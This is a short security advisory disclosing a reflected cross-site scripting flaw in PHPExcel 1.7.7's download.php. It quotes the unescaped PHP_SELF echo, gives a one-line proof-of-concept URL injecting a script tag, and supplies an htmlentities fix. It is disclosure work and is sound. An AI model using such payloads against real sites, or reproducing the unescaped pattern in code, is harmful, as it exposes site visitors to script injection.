SSCHADV2012-020 - PHPExcel 1.7.7 Cross-Site Scripting vulnerability

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Posted by Stefan Schurtz on Friday, August 24. 2012

Advisory:	PHPExcel 1.7.7 Cross-Site Scripting vulnerability
Advisory ID:	SSCHADV2012-020
Author:	Stefan Schurtz
Affected Software:	Successfully tested on PHPExcel 1.7.7
Vendor URL:	http://phpexcel.codeplex.com/
Vendor Status:	informed

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Vulnerability Description
======================

PHPExcel 1.7.7 is prone to a Cross-Site Scripting vulnerability

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Vulnerable code
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//download.php

<li><a href=’<?php echo $_SERVER[‘PHP_SELF’]."?op=download"; ?>’><?php echo $tarName ?></a></li>

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PoC-Exploit
======================

http://[target]/PHPExcel/Shared/JAMA/docs/download.php/ ‘><script>alert(‘xss’)</script>

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Solution
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<li><a href=’<?php echo htmlentities($_SERVER[‘PHP_SELF’])."?op=download"; ?>’><?php echo $tarName ?></a></li>

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Disclosure Timeline
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21-Aug-2012 – developer informed

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Credits
======================

Vulnerability found and advisory written by Stefan Schurtz.

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References
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http://www.darksecurity.de/advisories/2012/SSCHADV2012-020.txt

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